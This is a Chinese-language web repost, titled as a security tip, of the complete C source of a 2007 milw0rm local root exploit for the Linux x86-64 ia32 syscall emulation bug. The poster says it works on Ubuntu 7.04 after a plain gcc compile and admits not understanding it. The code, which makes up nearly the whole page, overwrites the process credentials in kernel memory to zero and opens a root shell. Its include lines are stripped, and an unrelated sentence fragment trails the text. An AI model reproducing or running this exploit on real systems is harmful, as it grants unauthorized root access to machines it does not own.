安全攻略:“秒杀”64位Linux系统的漏洞

  

Ubuntu 7.04 64位版本下测试成功。

直接gcc编译后执行就可以了。

不明白程序的原理,漏洞的原因..从描述上看是系统调用上的问题。没有shellcode ,不像是溢出。

/*Linux Kernel 2.4/2.6 x86-64 System Call Emulation Exploit/** exploit for x86_64 linux kernel ia32syscall emulation* bug, discovered by Wojciech Purczynski ** by* Robert Swiecki * Przemyslaw Frasunek * Pawel Pisarczyk * of ATM-Lab */#include #include #include #include #include #include #include #include #includeuint32_t uid, euid, suid;static void kernelmodecode(void){int i;uint8_t *gs;uint32_t *ptr;asm volatile ("movq %%gs:(0x0), %0" : "=r"(gs));for (i = 200; i < 1000; i+=1) {ptr = (uint32_t*) (gs + i);if ((ptr[0] == uid) && (ptr[1] == euid)&& (ptr[2] == suid) && (ptr[3] == uid)) {ptr[0] = 0; //UIDptr[1] = 0; //EUIDptr[2] = 0; //SUIDbreak;}}}static void docall(uint64_t *ptr, uint64_t size){getresuid(&uid, &euid, &suid);uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {printf("mmap fault\n");exit(1);}for (; ptr < (tmp + size); ptr++)*ptr = (uint64_t)kernelmodecode;__asm__("\n""\tmovq $0x101, %rax\n""\tint $0x80\n");printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());execl("/bin/sh", "bin/sh", 0);printf("no /bin/sh ??\n");exit(0);}int main(int argc, char **argv){int pid, status, set = 0;uint64_t rax;uint64_t kern_s = 0xffffffff80000000;uint64_t kern_e = 0xffffffff84000000;uint64_t off = 0x0000000800000101 * 8;if (argc == 4) {docall((uint64_t*)(kern_s + off), kern_e – kern_s);exit(0);}if ((pid = fork()) == 0) {ptrace(PTRACE_TRACEME, 0, 0, 0);execl(argv[0], argv[0], "2", "3", "4", 0);perror("exec fault");exit(1);}if (pid == -1) {printf("fork fault\n");exit(1);}for (;;) {if (wait(&status) != pid)continue;if (WIFEXITED(status)) {printf("Process finished\n");break;}if (!WIFSTOPPED(status))continue;if (WSTOPSIG(status) != SIGTRAP) {printf("Process received signal: %d\n", WSTOPSIG(status));break;}rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);if (rax == 0x000000000101) {if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {printf("PTRACE_POKEUSER fault\n");exit(1);}set = 1;}if ((rax == 11) && set) {ptrace(PTRACE_DETACH, pid, 0, 0);for(;;)sleep(10000);}if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {printf("PTRACE_SYSCALL fault\n");exit(1);}}return 0;}// milw0rm.com [2007-09-27]

(责任编辑:A6)

,我喜欢出发。凡是到达了的地方,

安全攻略:“秒杀”64位Linux系统的漏洞

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